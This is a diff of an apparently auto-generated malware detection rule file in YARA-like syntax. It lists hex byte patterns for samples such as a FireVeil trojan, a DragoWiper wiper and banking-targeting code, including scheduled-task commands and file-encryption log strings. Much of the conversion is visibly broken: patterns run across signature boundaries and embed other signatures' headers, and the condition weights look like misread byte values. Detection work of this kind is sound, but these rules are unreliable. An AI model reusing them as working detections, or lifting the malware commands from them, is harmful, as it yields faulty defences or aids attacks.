1)*19813+(#a_72_12 & 1)*26957+(#a_46_13 & 1)*21093+(#a_69_14 & 1)*23553+(#a_5c_15 & 1)*27759+(#a_00_17 & 1)*121+(#a_00_19 & 1)*53+(#a_01_20 & 1)*3+(#a_01_21 & 1)*3+(#a_01_22 & 1)*2+(#a_01_23 & 1)*2+(#a_01_24 & 1)*2) >=25 } -rule _InfrastructureShared_20274{ +rule _InfrastructureShared_21495{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1c 00 21 " @@ -257054,15 +272324,14 @@ rule _InfrastructureShared_20274{ $a_01_20 = {53 43 48 54 41 53 4b 53 20 2f 52 75 6e 20 2f 54 6e 20 22 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 57 69 6e 64 6f 77 73 20 45 72 72 6f 72 20 52 65 70 6f 72 74 69 6e 67 5c 51 75 65 75 65 52 65 70 6f 72 74 69 6e 67 22 } //1 SCHTASKS /Run /Tn "Microsoft\Windows\Windows Error Reporting\QueueReporting" $a_01_21 = {5c 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 2e 00 68 00 64 00 6d 00 70 00 } //1 \memory.hdmp $a_01_22 = {5c 00 52 00 65 00 70 00 6f 00 72 00 74 00 2e 00 77 00 65 00 72 00 } //1 \Report.wer - $a_0a_23 = {03 00 1a 00 1a 00 07 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 4d 53 49 4c 2f 54 65 6d 6f 6e 64 65 21 62 69 74 00 0a 00 2c 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 57 00 65 00 41 00 72 00 65 00 57 00 69 00 7a 00 7a 00 6c 00 61 00 62 00 73 00 0a 00 3c 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 } //0 - $a_00_24 = {74 00 69 00 56 00 69 00 72 00 75 00 73 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 05 00 48 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 43 00 6c 00 61 00 73 00 73 00 65 00 73 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 2e 00 4d 00 61 00 63 00 68 00 69 00 6e 00 65 00 2e 00 56 00 4d 00 43 00 05 00 60 01 53 00 } //65 - $a_00_25 = {54 00 57 00 41 00 52 00 45 00 5c 00 57 00 6f 00 77 00 36 00 34 00 33 00 32 00 4e 00 6f 00 64 00 65 00 5c 00 43 00 6c 00 61 00 73 00 73 00 65 00 73 00 5c 00 56 00 69 00 72 00 74 00 75 00 61 00 6c 00 2e 00 4d 00 } //79 TWARE\Wow6432Node\Classes\Virtual.M - $a_00_26 = {68 00 69 00 6e 00 65 00 2e 00 56 00 4d 00 43 00 01 00 94 01 53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 57 00 6f 00 77 00 36 00 34 00 33 00 32 00 4e 00 6f 00 64 00 65 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 } //97 + $a_0a_23 = {03 00 08 00 08 00 24 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 72 65 56 65 69 6c 2e 41 21 64 68 61 00 08 00 2a 01 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 44 00 72 00 6c 00 76 00 65 00 00 00 08 00 32 01 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 } //0 + $a_00_24 = {69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 00 00 08 00 2e 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 6e 00 74 00 66 00 73 00 5f 00 66 00 69 00 6c 00 74 00 65 00 72 00 08 00 26 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c } //92 + $a_00_26 = {5f 00 66 00 69 00 6c 00 74 00 65 00 72 00 08 00 28 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 53 00 41 00 72 00 6b 00 44 00 72 00 76 00 08 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 53 00 41 00 72 00 6b 00 44 00 72 00 76 00 08 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 } //102 condition: - ((#a_46_0 & 1)*16675+(#a_b8_1 & 1)*17801+(#a_63_2 & 1)*18720+(#a_63_3 & 1)*19804+(#a_52_4 & 1)*27753+(#a_62_5 & 1)*29276+(#a_00_7 & 1)*2424+(#a_3a_9 & 1)*17748+(#a_00_10 & 1)*116+(#a_00_12 & 1)*50+(#a_00_14 & 1)*54+(#a_00_15 & 1)*100+(#a_00_16 & 1)*97+(#a_01_18 & 1)*2+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_0a_23 & 1)*0+(#a_00_24 & 1)*65+(#a_00_25 & 1)*79+(#a_00_26 & 1)*97) >=3 + ((#a_46_0 & 1)*16675+(#a_b8_1 & 1)*17801+(#a_63_2 & 1)*18720+(#a_63_3 & 1)*19804+(#a_52_4 & 1)*27753+(#a_62_5 & 1)*29276+(#a_00_7 & 1)*2424+(#a_3a_9 & 1)*17748+(#a_00_10 & 1)*116+(#a_00_12 & 1)*50+(#a_00_14 & 1)*54+(#a_00_15 & 1)*100+(#a_00_16 & 1)*97+(#a_01_18 & 1)*2+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_0a_23 & 1)*0+(#a_00_24 & 1)*92+(#a_00_26 & 1)*102) >=3 } -rule _InfrastructureShared_20275{ +rule _InfrastructureShared_21496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 11 00 21 " @@ -257085,7 +272354,50 @@ rule _InfrastructureShared_20275{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*92+(#a_00_3 & 1)*55+(#a_00_5 & 1)*102+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*2+(#a_01_12 & 1)*2+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1) >=9 } -rule _InfrastructureShared_20276{ +rule _InfrastructureShared_21497{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 24 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 46 69 72 65 56 65 69 6c 2e 41 21 64 68 61 00 08 00 2a 01 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 44 00 72 00 6c 00 76 00 65 00 00 00 08 00 } //16675 + $a_00_1 = {3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 57 00 69 00 6e 00 44 00 65 00 66 00 65 00 6e 00 64 00 00 00 08 00 2e 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 } //306 + $a_00_3 = {6e 00 74 00 66 00 73 00 5f 00 66 00 69 00 6c 00 74 00 65 00 72 00 08 00 26 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 6e 00 74 00 66 00 73 00 5f 00 66 00 69 00 6c 00 74 00 65 00 72 00 08 00 28 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 } //115 + $a_00_4 = {41 00 72 00 6b 00 44 00 72 00 76 00 08 00 20 01 5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 53 00 41 00 72 00 6b 00 44 00 72 00 76 00 08 00 24 01 5c 00 44 00 6f 00 73 00 44 00 65 00 76 00 69 00 63 00 65 00 73 00 5c 00 4d 00 53 00 48 00 44 } //77 + $a_01_6 = {5c 00 44 00 65 00 76 00 69 00 63 00 65 00 5c 00 4d 00 53 00 48 00 44 00 72 00 76 00 } //8 \Device\MSHDrv + $a_01_7 = {5c 00 44 00 72 00 69 00 76 00 65 00 72 00 5c 00 6e 00 73 00 69 00 70 00 72 00 6f 00 78 00 79 00 } //3 \Driver\nsiproxy + $a_01_8 = {5c 00 46 00 69 00 6c 00 65 00 53 00 79 00 73 00 74 00 65 00 6d 00 5c 00 6e 00 74 00 66 00 73 00 } //3 \FileSystem\ntfs + $a_01_9 = {3d 04 40 00 80 } //1 + $a_01_10 = {3d 08 40 00 80 } //1 + $a_01_11 = {3d 0c 40 00 80 } //1 + $a_01_12 = {3d 10 40 00 80 } //1 + $a_01_13 = {3d 24 40 00 80 } //1 + $a_01_14 = {3d 28 40 00 80 } //1 + $a_01_15 = {81 f8 04 40 00 80 } //1 + $a_01_16 = {81 f8 08 40 00 80 } //1 + $a_01_17 = {81 f8 0c 40 00 80 } //1 + $a_01_18 = {81 f8 10 40 00 80 } //1 + $a_01_19 = {81 f8 24 40 00 80 } //1 + $a_01_20 = {81 f8 28 40 00 80 } //1 + $a_01_21 = {81 f9 04 40 00 80 } //1 + $a_01_22 = {81 f9 08 40 00 80 } //1 + $a_01_23 = {81 f9 0c 40 00 80 } //1 + $a_01_24 = {81 f9 10 40 00 80 } //1 + $a_01_25 = {81 f9 24 40 00 80 } //1 + $a_01_26 = {81 f9 28 40 00 80 } //1 + $a_01_27 = {81 fa 04 40 00 80 } //1 + $a_01_28 = {81 fa 08 40 00 80 } //1 + $a_01_29 = {81 fa 0c 40 00 80 } //1 + $a_01_30 = {81 fa 10 40 00 80 } //1 + $a_01_31 = {81 fa 24 40 00 80 } //1 + $a_01_32 = {81 fa 28 40 00 80 } //1 + $a_03_33 = {83 e9 01 74 ?? 83 e9 01 74 ?? 83 e9 01 74 ?? 83 e9 09 74 ?? 83 e9 19 74 ?? 83 f9 01 } //6 + $a_03_34 = {8b ce 2b cf 74 ?? 2b cf 74 ?? 2b cf 74 ?? 83 e9 09 74 ?? 83 e9 19 74 ?? 3b cf } //6 + $a_0a_35 = {03 00 1a 00 1a 00 07 00 21 23 41 4c 46 3a 48 53 54 52 3a 50 55 41 3a 4d 53 49 4c 2f 54 65 6d 6f 6e 64 65 21 62 69 74 00 0a 00 2c 01 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 57 00 65 00 41 00 72 00 65 00 57 00 69 00 7a 00 7a 00 6c 00 61 00 62 00 73 00 0a 00 3c 01 53 00 45 00 4c 00 45 00 43 00 54 00 20 00 2a 00 20 00 46 00 52 00 4f 00 4d 00 20 00 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*306+(#a_00_3 & 1)*115+(#a_00_4 & 1)*77+(#a_01_6 & 1)*8+(#a_01_7 & 1)*3+(#a_01_8 & 1)*3+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_03_33 & 1)*6+(#a_03_34 & 1)*6+(#a_0a_35 & 1)*0) >=8 + +} +rule _InfrastructureShared_21498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1a 00 1a 00 07 00 21 " @@ -257099,7 +272411,7 @@ rule _InfrastructureShared_20276{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*316+(#a_00_3 & 1)*115+(#a_00_5 & 1)*105+(#a_00_6 & 1)*67) >=26 } -rule _InfrastructureShared_20277{ +rule _InfrastructureShared_21499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -257116,7 +272428,7 @@ rule _InfrastructureShared_20277{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*105+(#a_00_2 & 1)*112+(#a_00_3 & 1)*49+(#a_00_4 & 1)*46+(#a_00_6 & 1)*114+(#a_00_8 & 1)*47+(#a_00_10 & 1)*111) >=1 } -rule _InfrastructureShared_20278{ +rule _InfrastructureShared_21500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -257133,7 +272445,7 @@ rule _InfrastructureShared_20278{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*281+(#a_19_2 & 1)*1+(#a_30_3 & 1)*8243+(#a_20_4 & 1)*22784+(#a_20_5 & 1)*8224+(#a_19_6 & 1)*26478+(#a_2d_8 & 1)*2305) >=4 } -rule _InfrastructureShared_20279{ +rule _InfrastructureShared_21501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -257152,7 +272464,7 @@ rule _InfrastructureShared_20279{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*116+(#a_67_2 & 1)*26994+(#a_00_3 & 1)*115+(#a_00_4 & 1)*88+(#a_00_5 & 1)*88+(#a_00_6 & 1)*120+(#a_72_7 & 1)*30573+(#a_65_8 & 1)*28271+(#a_00_9 & 1)*79) >=11 } -rule _InfrastructureShared_20280{ +rule _InfrastructureShared_21502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " @@ -257169,7 +272481,7 @@ rule _InfrastructureShared_20280{ ((#a_4c_0 & 1)*21539+(#a_41_1 & 1)*4096+(#a_4d_2 & 1)*25970+(#a_00_3 & 1)*25971+(#a_61_4 & 1)*16641+(#a_00_6 & 1)*102+(#a_00_7 & 1)*32+(#a_00_8 & 1)*32) >=6 } -rule _InfrastructureShared_20281{ +rule _InfrastructureShared_21503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -257188,7 +272500,7 @@ rule _InfrastructureShared_20281{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30050+(#a_69_2 & 1)*17234+(#a_58_3 & 1)*31351+(#a_74_4 & 1)*12398+(#a_33_5 & 1)*12629+(#a_30_6 & 1)*29487+(#a_77_7 & 1)*20290+(#a_63_8 & 1)*26693+(#a_57_9 & 1)*27759) >=10 } -rule _InfrastructureShared_20282{ +rule _InfrastructureShared_21504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -257206,7 +272518,7 @@ rule _InfrastructureShared_20282{ ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*-29948+(#a_90_2 & 1)*-14508+(#a_90_3 & 1)*-14508+(#a_00_4 & 1)*400+(#a_43_5 & 1)*1025+(#a_54_7 & 1)*-29948+(#a_c7_8 & 1)*31627+(#a_56_9 & 1)*1025) >=1 } -rule _InfrastructureShared_20283{ +rule _InfrastructureShared_21505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -257219,7 +272531,7 @@ rule _InfrastructureShared_20283{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*67+(#a_00_4 & 1)*92+(#a_00_6 & 1)*71) >=6 } -rule _InfrastructureShared_20284{ +rule _InfrastructureShared_21506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -257234,7 +272546,7 @@ rule _InfrastructureShared_20284{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_2 & 1)*32+(#a_5a_3 & 1)*16697+(#a_00_5 & 1)*112+(#a_00_6 & 1)*79) >=1 } -rule _InfrastructureShared_20285{ +rule _InfrastructureShared_21507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 12 00 21 " @@ -257257,7 +272569,7 @@ rule _InfrastructureShared_20285{ ((#a_46_0 & 1)*16675+(#a_64_2 & 1)*26113+(#a_61_3 & 1)*11576+(#a_30_4 & 1)*25187+(#a_31_5 & 1)*12333+(#a_31_6 & 1)*14691+(#a_2d_7 & 1)*14435+(#a_66_8 & 1)*12646+(#a_63_9 & 1)*25901+(#a_32_10 & 1)*24933+(#a_33_11 & 1)*13925+(#a_00_13 & 1)*115+(#a_00_15 & 1)*111+(#a_00_17 & 1)*98) >=1 } -rule _InfrastructureShared_20286{ +rule _InfrastructureShared_21508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -257273,7 +272585,7 @@ rule _InfrastructureShared_20286{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*59+(#a_2d_2 & 1)*14637+(#a_00_3 & 1)*69+(#a_00_4 & 1)*53+(#a_41_5 & 1)*11568+(#a_00_6 & 1)*97) >=3 } -rule _InfrastructureShared_20287{ +rule _InfrastructureShared_21509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 14 00 21 " @@ -257300,7 +272612,7 @@ rule _InfrastructureShared_20287{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25427+(#a_54_2 & 1)*25958+(#a_77_3 & 1)*25974+(#a_00_4 & 1)*29477+(#a_6f_5 & 1)*16897+(#a_74_6 & 1)*25972+(#a_65_7 & 1)*8292+(#a_6c_8 & 1)*24942+(#a_74_9 & 1)*21087+(#a_2c_10 & 1)*114+(#a_00_12 & 1)*99+(#a_74_13 & 1)*21356+(#a_79_14 & 1)*26996+(#a_30_15 & 1)*12578+(#a_76_16 & 1)*28019+(#a_64_17 & 1)*12336+(#a_15_18 & 1)*0) >=8 } -rule _InfrastructureShared_20288{ +rule _InfrastructureShared_21510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -257316,7 +272628,7 @@ rule _InfrastructureShared_20288{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_2d_3 & 1)*14637+(#a_2d_4 & 1)*23085+(#a_00_6 & 1)*32+(#a_6e_7 & 1)*17268+(#a_01_8 & 1)*-28551) >=3 } -rule _InfrastructureShared_20289{ +rule _InfrastructureShared_21511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -257333,7 +272645,7 @@ rule _InfrastructureShared_20289{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*47+(#a_00_4 & 1)*51+(#a_00_5 & 1)*49+(#a_00_6 & 1)*98+(#a_00_8 & 1)*53+(#a_00_10 & 1)*54+(#a_00_12 & 1)*118) >=13 } -rule _InfrastructureShared_20290{ +rule _InfrastructureShared_21512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -257352,7 +272664,7 @@ rule _InfrastructureShared_20290{ ((#a_54_0 & 1)*18467+(#a_95_2 & 1)*48+(#a_78_3 & 1)*11884+(#a_6c_4 & 1)*11877+(#a_78_5 & 1)*11883+(#a_73_6 & 1)*26990+(#a_19_7 & 1)*0+(#a_6d_8 & 1)*400+(#a_01_9 & 1)*25601+(#a_40_11 & 1)*16483) >=2 } -rule _InfrastructureShared_20291{ +rule _InfrastructureShared_21513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 10 00 21 " @@ -257375,7 +272687,7 @@ rule _InfrastructureShared_20291{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*-28572+(#a_00_2 & 1)*144+(#a_6d_3 & 1)*25347+(#a_00_4 & 1)*15617+(#a_6d_5 & 1)*25347+(#a_3f_6 & 1)*400+(#a_01_7 & 1)*25345+(#a_90_8 & 1)*257+(#a_25_9 & 1)*811+(#a_01_10 & 1)*-28626+(#a_68_11 & 1)*400+(#a_01_12 & 1)*28673+(#a_5c_14 & 1)*18432) >=1 } -rule _InfrastructureShared_20292{ +rule _InfrastructureShared_21514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 08 00 21 " @@ -257389,7 +272701,7 @@ rule _InfrastructureShared_20292{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672+(#a_00_3 & 1)*83+(#a_7a_4 & 1)*24922+(#a_5c_6 & 1)*32256) >=4 } -rule _InfrastructureShared_20293{ +rule _InfrastructureShared_21515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,67 00 67 00 12 00 21 " @@ -257401,17 +272713,37 @@ rule _InfrastructureShared_20293{ $a_00_6 = {69 00 74 00 61 00 75 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 01 00 1e 01 62 00 72 00 61 00 64 00 65 00 73 00 63 00 6f 00 2e 00 63 00 } //119 $a_00_7 = {2e 00 62 00 72 00 01 00 28 01 62 00 61 00 6e 00 63 00 6f 00 64 00 6f 00 62 00 72 00 61 00 73 00 69 00 6c 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 01 00 12 01 62 00 62 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 01 00 16 01 69 00 74 00 61 00 75 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 01 00 28 01 77 00 77 00 77 00 2e } //111 $a_00_9 = {61 00 6e 00 64 00 65 00 72 00 2e 00 63 00 6f 00 6d 00 2e 00 62 00 72 00 01 00 20 01 77 00 77 00 77 00 2e 00 63 00 61 00 69 00 78 00 61 00 2e 00 67 00 6f 00 76 00 2e 00 62 00 72 00 01 00 1c 01 62 00 61 00 6e 00 63 00 6f 00 2e 00 62 00 72 00 61 00 64 00 65 00 73 00 63 00 6f 00 01 00 20 01 73 00 61 00 6e 00 74 00 61 00 6e 00 64 00 65 00 72 00 2e 00 } //110 - $a_00_10 = {6d 00 2e 00 62 00 72 00 01 00 24 01 77 00 77 00 77 00 2e 00 62 00 61 00 6e 00 63 00 6f 00 2e 00 62 00 72 00 61 00 64 00 65 00 73 00 63 00 6f 00 00 00 78 1c 03 00 06 00 06 00 0a 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 50 61 73 73 43 56 5f 53 61 62 72 65 5f 4d 61 6c 77 61 72 65 5f 31 00 01 00 21 01 46 } //99 - $a_78_11 = {61 6c 69 62 75 72 5c 45 78 63 61 6c 69 62 75 72 5c 45 78 63 61 6c 69 62 75 72 5c 01 00 11 01 62 69 6e 5c 6f 53 61 62 65 72 53 76 63 2e 70 64 62 01 00 2e 03 63 6d 64 2e 65 78 65 20 2f 63 20 4d 44 20 90 19 01 } //23610 - $a_7a_12 = {2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 b2 03 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 77 } //24841 - $a_00_14 = {61 00 69 00 64 00 75 00 2e 00 63 00 6f 00 6d 00 2f 00 73 00 3f 00 69 00 65 00 3d 00 75 00 74 00 66 00 2d 00 38 00 26 00 66 00 3d 00 38 00 26 00 72 00 73 00 76 00 5f 00 62 00 70 00 3d 00 30 00 26 00 72 00 73 00 76 00 5f 00 69 00 64 00 78 00 3d 00 31 00 26 00 74 00 6e 00 3d 00 62 00 61 00 69 00 } //46 aidu.com/s?ie=utf-8&f=8&rsv_bp=0&rsv_idx=1&tn=bai - $a_00_15 = {26 00 77 00 64 00 3d 00 69 00 70 00 31 00 33 00 38 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 38 03 43 00 6c 00 6f 00 75 00 64 00 52 00 75 00 6e 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 3a 03 53 00 61 } //100 - $a_00_17 = {76 00 63 00 42 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 38 03 53 00 61 00 62 00 65 00 72 00 53 00 76 00 63 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 2d } //114 + $a_00_10 = {6d 00 2e 00 62 00 72 00 01 00 24 01 77 00 77 00 77 00 2e 00 62 00 61 00 6e 00 63 00 6f 00 2e 00 62 00 72 00 61 00 64 00 65 00 73 00 63 00 6f 00 00 00 78 1c 03 00 05 00 05 00 0d 00 21 23 41 4c 46 3a 44 6f 53 3a 57 69 6e 36 34 2f 44 72 61 67 6f 57 69 70 65 72 2e 45 21 64 68 61 00 05 00 1e 01 8b 07 8b 7d f0 0f b6 04 38 66 31 04 72 33 } //99 + $a_0c_11 = {46 8b 45 f0 40 8b 4f 04 2b 0f f7 f1 01 00 25 01 5b 49 4e 46 4f 5d 20 46 69 6c 65 20 64 61 74 61 20 65 6e 63 72 79 70 74 65 64 20 69 6e 20 6d 65 6d 6f 72 79 2e 01 00 27 01 5b 49 4e 46 4f 5d 20 45 6e 63 72 79 70 74 65 64 20 62 79 74 65 73 20 77 72 69 74 74 65 6e 20 73 6f 20 66 61 72 3a 20 01 00 2b 01 45 72 72 6f 72 20 67 72 61 6e 74 69 6e 67 20 77 72 69 74 65 20 70 65 72 6d } //-29742 + $a_69_12 = {6e 73 20 66 6f 72 20 66 69 6c 65 3a 20 01 00 22 01 41 6c 6c 20 64 72 69 76 65 73 20 70 72 6f 63 65 73 73 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 21 01 00 30 01 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 20 00 66 00 69 00 6c 00 65 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 64 00 3a 00 20 00 01 00 66 01 41 00 6e 00 20 00 65 00 } //29545 + $a_00_13 = {6f 00 72 00 20 00 6f 00 63 00 63 00 75 00 72 00 72 00 65 00 64 00 20 00 77 00 68 00 69 00 6c 00 65 00 20 00 65 00 6e 00 75 00 6d 00 65 00 72 00 61 00 74 00 69 00 6e 00 67 00 20 00 6e 00 65 00 74 00 77 00 6f 00 72 00 6b 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 73 00 01 00 48 01 5b 00 4c 00 4f 00 47 00 5d 00 20 00 42 00 53 00 4f 00 44 00 } //114 + $a_00_14 = {78 00 65 00 20 00 65 00 78 00 65 00 63 00 75 00 74 00 65 00 64 00 20 00 69 00 6d 00 6d 00 65 00 64 00 69 00 61 00 74 00 65 00 6c 00 79 00 2e 00 01 00 54 01 2c 00 20 00 61 00 74 00 74 00 65 00 6d 00 70 00 74 00 69 00 6e 00 67 00 20 00 74 00 6f 00 20 00 67 00 72 00 61 00 6e 00 74 00 20 00 77 00 72 00 69 } //46 + $a_00_16 = {65 00 72 00 6d 00 69 00 73 00 73 00 69 00 6f 00 6e 00 73 00 2e 00 2e 00 2e 00 01 00 42 01 5b 00 4c 00 4f 00 47 00 5d 00 20 00 52 00 75 00 6e 00 42 00 53 00 4f 00 44 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 72 00 20 00 73 00 74 00 61 00 72 00 74 00 65 00 64 00 2e 00 2e 00 2e 00 01 00 1f 01 46 61 69 6c 65 64 20 74 6f 20 64 65 } //32 + $a_65_17 = {63 6f 6e 74 65 78 74 20 66 69 6c 65 3a 20 01 00 15 01 00 00 00 5c 00 2e 00 68 00 69 00 64 00 64 00 65 00 6e 00 00 00 01 00 60 01 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 43 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 53 00 43 00 20 00 4f 00 4e 00 53 00 54 00 41 00 52 00 54 00 20 00 2f 00 54 00 4e 00 20 00 22 00 52 00 75 00 6e } //25964 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*100+(#a_00_5 & 1)*98+(#a_00_6 & 1)*119+(#a_00_7 & 1)*111+(#a_00_9 & 1)*110+(#a_00_10 & 1)*99+(#a_78_11 & 1)*23610+(#a_7a_12 & 1)*24841+(#a_00_14 & 1)*46+(#a_00_15 & 1)*100+(#a_00_17 & 1)*114) >=103 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*100+(#a_00_5 & 1)*98+(#a_00_6 & 1)*119+(#a_00_7 & 1)*111+(#a_00_9 & 1)*110+(#a_00_10 & 1)*99+(#a_0c_11 & 1)*-29742+(#a_69_12 & 1)*29545+(#a_00_13 & 1)*114+(#a_00_14 & 1)*46+(#a_00_16 & 1)*32+(#a_65_17 & 1)*25964) >=103 } -rule _InfrastructureShared_20294{ +rule _InfrastructureShared_21516{ + meta: + description = 